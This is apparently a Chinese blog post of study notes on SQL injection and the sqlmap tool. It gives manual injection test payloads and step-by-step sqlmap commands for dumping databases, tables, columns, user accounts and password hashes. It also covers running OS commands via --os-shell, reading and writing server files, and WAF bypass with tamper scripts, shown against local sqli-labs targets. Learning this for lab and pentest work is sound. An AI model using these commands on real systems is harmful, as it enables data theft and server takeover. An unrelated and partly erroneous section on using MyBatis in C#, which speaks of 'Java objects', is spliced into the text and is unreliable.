SQLmap学习笔记

目录

前言:手工如何判断存在SQL注入

数字型判断:

字符型判断:

SQL注入攻击的总体思路

SQLMap支持五种不同的注入模式

sqlmap支持的数据库有

运行sqlmap

sqlmap简易操作命令

利用sqlmap具体大致的流程

1.首先判断是否存在注入:

2.判断是否为root用户

3.查询当前用户下的所有数据库

4.获取数据库中的表名

5.获取表中字段名

6.获取字段内容

其他命令

补充知识:

1.–level 5:探测等级

2.–roles:列出数据库管理员角色

3.–is-dba:当前用户是否为管理权限

4.–referer:HTTP Referer头。(当–level参数设定为3或以上时,会尝试对referer注入)

5.–sql-shell:运行自定义SQL语句

6.–os-cmd,–os-shell:运行任意操作系统命令

7.–file-read:从数据库服务器中读取文件

8.–file-write–file-dest:上传文件到数据库服务器中

sqlmap自带绕过脚本tamper


前言:手工如何判断存在SQL注入

最为经典的单引号判断法: 在参数后面加上单引号,比如:

http://xxx/abc.php?id=1'

如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

通常 Sql 注入漏洞分为 2 种类型:数字型和字符型(根据变量类型分类)

数字型判断:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下: select * from where id = x 这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原理:

当输入 and 1=1时,后台执行 Sql 语句:

select * from where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。 再假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from where id = 'x and 1=1'

select * from where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

字符型判断:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下: select * from where id = 'x' 这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:

Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。

Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。同理

SQL注入攻击的总体思路

1:寻找到SQL注入的位置

2:判断服务器类型和后台数据库类型

3:针对不同的服务器和数据库特点进行SQL注入攻击

SQLMap 一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL 注入漏洞,内置了很多绕过插件

SQLMap支持五种不同的注入模式

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

4、联合查询注入,可以使用union的情况下的注入。

5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库有

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

运行sqlmap

打开cmd

跳转到sqlmap目录

dir查看文件夹内容

发现有一个sqlmap.py

用python 运行

python sqlmap.py

sqlmap简易操作命令

sqlmap --version   查看sqlmap版本信息.

-h        查看功能参数(常用的)

-hh       查看高级帮助信息

-v        显示更详细的信息 一共7级, 从0-6.默认为1, 数值越大,信息显示越详细.

Target(指定目标):

-d        直接连接数据库侦听端口,类似于把自己当一个客户端来连接.

-u       指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1

-l   指定logfile文件进行扫描,可以结合burp 把访问的记录保存成一个log文件, sqlmap可以直接加载burp保存到log文件进行扫描

-x         以xml的形式提交一个站点地图给sqlmap(表示不理解…)

-m    如果有多个url地址,可以把多个url保存成一个文本文件 -m可以加载文本文件逐个扫描

-r  把http的请求头,body保存成一个文件 统一提交给sqlmap,sqlmap会读取内容进行拼接请求体

-g         利用谷歌搜索引擎搭配正则来过滤你想要的

-c  加载配置文件,配置文件可以指定扫描目标,扫描方式,扫描内容等等.加载了配置文件sqlmap就会根据文件内容进行特定的扫描

利用sqlmap具体大致的流程

1.首先判断是否存在注入:

get注入:

python sqlmap.py -u http://192.168.184.130/sqlilabs/Less-1/?id=1

当注入点后面的参数大于等于两个时,需要用双引号将url括起来。一个参数也可以双引号括起来

sqlmap.py -u "http://127.0.0.1/?id=1&uid=2"

post注入:

post接受的数据在数据包中,如果是数据包之中的注入(比如cookie注入、referer注入、ua头注入等)的话,我们可以先利用burp抓包,然后把数据保存到桌面上,利用-r参数对数据包进行探针

python sqlmap.py -r desktop/1.txt

存在下面的页面就代表有注入漏洞

50e38bd38bea42c2a82208fef21c5254.png

2.判断是否为root用户

sqlmap.py -u "url" --is-dba

true就代表是,false就代表不是。如果是最高权限的话,我们可以进行文件下载,文件上传等等的操作,不是的话就爆库爆表。

f5de54b7cbe34475a54c539ce62151c3.png

3.查询当前用户下的所有数据库

sqlmap.py -u url --dbs

8b740bab40464135bee3c8277521048a.png

继续下一步的话,也就是爆表,需要将–dbs改为-D xxx,这里的xxx是你选中的数据库名。

4.获取数据库中的表名

sqlmap.py -u url -D xxx --tables

af38fd4cfa1648689c4c938b3854dab5.png

在进行下一步爆字段,需要将–tables改为-T xxx。

5.获取表中字段名

sqlmap.py -u url -D xxx -T xxx --columns

affecb9f66cc4ee7a867bc55c775158f.png

查询字段内容,需要将–columns改为-C xxx。

6.获取字段内容

sqlmap.py -u url -D xxx -T xxx --C xxx --dump

a931b2c3b336469fbb5ef23c94230830.png

到这里就把数据库里面的内容爆出来了。

其他命令

1.获取数据库中的所有用户

sqlmap.py -u url --users

2.获取数据库用户的密码

sqlmap.py -u url --passwords

3.获取当前网站数据库的名称

sqlmap.py -u url --current-db

4.获取当前网站数据库的用户名称

sqlmap.py -u url --current-user

补充知识:

1.–level 5:探测等级

一共有5个等级(1-5) 不加 level 时,默认是1

5级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢。

level=2 http cookie会测试

level=3 http user-agent/referer头会测试

在不能确定哪个payload或参数为注入点时,建议使用高的level值

2.–roles:列出数据库管理员角色

该命令仅使用于Oracle数据库,是用于查询当前数据库用户的角色,前提是有权限。

3.–is-dba:当前用户是否为管理权限

该命令用于查询当前账户是否为数据库管理员用户,是就会返回true,反之则是false。

4.–referer:HTTP Referer头。(当–level参数设定为3或以上时,会尝试对referer注入)

可以使用referer命令来进行欺骗,如–referer http://www.baidu.com。那么在进行注入的时候来源就会变成百度

5.–sql-shell:运行自定义SQL语句

这里会发现它会让我们自己输入sql语句去执行,并且完成之后还可以继续输入,exit才退出

70e81a72ac14497d9f683dd72af8d7e9.png

6.–os-cmd,–os-shell:运行任意操作系统命令

python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --os-cmd=whoami

使用“–os-cmd=whoami”命令来尝试是否可以直接执行命令,执行命令后,需要选择网站脚本语言和路径

7.–file-read:从数据库服务器中读取文件

该命令用于读取执行文件,读取的文件可以是文本,也可以是二进制文件,前提是有权限使用特定的函数且数据库为MySQL、PostgreSQL或Microsoft SQL Server。

8.–file-write–file-dest:上传文件到数据库服务器中

该命令用于写入本地文件到服务器中。前提条件和–file-read一样。

sqlmap自带绕过脚本tamper

sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改。–tamper参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。命令如下所示:

sqlmap.py XXX --tamper "模块名"

目前官方提供53个绕过脚本。另外可以使用参数–identify-waf进行检测是否有安全防护(WAF/IDS/IPS)。

https://www.cnblogs.com/lgf01010/p/9550725.html

76ea5fa61b8e4c7b82364ff182c4c065.png

MyBatis是一个开源的持久化框架,可以帮助我们将数据从数据库中读取出来,然后转换为Java对象,并将Java对象写入数据库中。 在C#中使用MyBatis,需要先安装MyBatis.Net库,然后在项目中引用该库。接着,我们需要创建一个配置文件,用于配置MyBatis的数据库连接信息、SQL语句等。在配置文件中,我们需要指定一个别名,用于在程序中引用这个配置文件。 接下来,我们需要创建一个映射文件,用于将数据库中的数据映射为Java对象。在映射文件中,我们需要定义一个 resultMap,用于定义Java对象与数据库表之间的关系。我们还需要定义一个 SQL 语句,用于从数据库中读取数据,并将其转换为Java对象。 在程序中,我们需要创建一个 SqlSession 对象,用于执行SQL语句。我们可以通过SqlSession对象调用selectOne、selectList、update、delete等方法,来执行SQL语句,并将结果转换为Java对象或者操作数据库。 下面是一个简单的示例,展示了如何在C#中使用MyBatis: 1. 安装MyBatis.Net库 在Visual Studio中,选择“工具”-“NuGet包管理器”-“程序包管理器控制台”,然后输入以下命令: ``` Install-Package MyBatisNet ``` 2. 创建配置文件 在项目中创建一个名为“SqlMapConfig.xml”的文件,用于配置数据库连接信息、SQL语句等。以下是一个示例配置文件: ``` xml <?xml version="1.0" encoding="utf-8" ?> <sqlMapConfig> <database> <provider name="SqlServer" connectionString="Data Source=localhost;Initial Catalog=mydatabase;User ID=myuser;Password=mypassword;" /> </database> <sqlMap> <map resource="MyMapper.xml"/> </sqlMap> </sqlMapConfig> ``` 其中,provider元素用于指定数据库类型和连接字符串,map元素用于指定映射文件路径。 3. 创建映射文件 在项目中创建一个名为“MyMapper.xml”的文件,用于将数据库中的数据映射为Java对象。以下是一个示例映射文件: ``` xml <?xml version="1.0" encoding="utf-8" ?> <sqlMap namespace="MyMapper"> <resultMap id="MyResultMap" class="MyClass"> <result property="id" column="id"/> <result property="name" column="name"/> </resultMap> <select id="selectById" resultMap="MyResultMap"> SELECT * FROM mytable WHERE id=#id# </select> </sqlMap> ``` 其中,resultMap元素用于定义Java对象与数据库表之间的关系,select元素用于定义SQL语句。 4. 在程序中使用MyBatis 在程序中,我们需要创建一个 SqlSession 对象,用于执行SQL语句。以下是一个示例代码: ``` csharp using IBatisNet.DataMapper; using IBatisNet.DataMapper.Configuration; using IBatisNet.DataMapper.Configuration.Files; // 创建配置文件 DomSqlMapBuilder builder = new DomSqlMapBuilder(); ISqlMapper sqlMapper = builder.Configure(@"SqlMapConfig.xml"); // 执行SQL语句 MyClass obj = sqlMapper.QueryForObject<MyClass>("MyMapper.selectById", new { id = 1 }); ``` 以上是一个简单的示例,展示了如何在C#中使用MyBatis。实际上,MyBatis还有很多其他的用法和功能,需要我们在实际开发中去探索和使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值